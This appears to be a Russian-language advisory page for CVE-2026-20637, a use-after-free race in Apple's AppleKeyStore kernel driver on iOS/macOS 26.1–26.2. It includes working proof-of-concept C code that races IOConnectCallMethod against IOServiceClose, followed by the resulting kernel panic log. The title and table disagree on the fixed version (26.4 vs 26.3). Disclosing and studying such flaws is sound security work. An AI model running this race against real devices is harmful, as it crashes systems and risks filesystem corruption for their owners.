
CVE-2026-20637: AppleSEPKeyStore Use-After-Free — уязвимость ядра iOS/macOS (исправлена в 26.4)
CVE-2026-20637 · Enfilade · enfilade.io
Компонент: AppleKeyStore
Воздействие: Приложение может вызвать непредвиденное завершение работы системы.
Описание: Проблема использования после освобождения (use-after-free) была устранена за счёт улучшенного управления памятью.
| iOS | 26.1 – 26.2 (протестировано) |
| macOS | 26.1 – 26.2 (протестировано) |
| Компонент | com.apple.driver.AppleSEPKeyStore |
| Исправлено | iOS 26.3 / iPadOS 26.3 |
Apple могла вносить исправления поэтапно между версиями 26.2.1 и 26.3, поэтому промежуточные сборки могут не воспроизводить уязвимость.
Запуск PoC вызовет kernel panic на устройстве. Сохраните свою работу перед запуском. Повторные паники могут привести к повреждению файловой системы. Только для исследовательских целей в области безопасности.
Использование после освобождения (use-after-free) в IOCommandGate, вызванное гонкой в AppleKeyStore. Восемь потоков-вызывающих интенсивно обращаются к IOConnectCallMethod по селекторам 0–15, в то время как четыре потока-закрывающих конкурируют за IOServiceClose, создавая окно, в котором command gate используется после освобождения.
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000
static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
// 8 потоков-вызывающих: интенсивно обращаются к IOConnectCallMethod (высокий приоритет)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
for (uint32_t sel = 0; sel < 16; sel++) {
IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
}
}
// 4 потока-закрывающих: гонка за IOServiceClose (высокий приоритет)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
IOServiceClose(conn);
atomic_store(&g_conn, IO_OBJECT_NULL);
}
// Главный поток: 100k подключений, без задержки
for (int i = 0; i < NUM_ITERATIONS; i++) {
uint32_t type = (i % 4 == 0) ? 0x2022
: (i % 4 == 1) ? 0xbeef
: (i % 4 == 2) ? 0x1337
: 0x4141;
IOServiceOpen(svc, mach_task_self(), type, &conn);
atomic_store(&g_conn, conn);
// БЕЗ ЗАДЕРЖКИ — узкое окно гонки
}
ios-app/Test.xcodeproj в Xcode.panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
(off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
72: 0xfffffffffffffe00
Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
Panicked task 0xffffffe5b4f1e820: pid 956: Test
Kernel Extensions in backtrace:
com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
@0xfffffff016a47020->0xfffffff016a84f9f
См. LICENSE.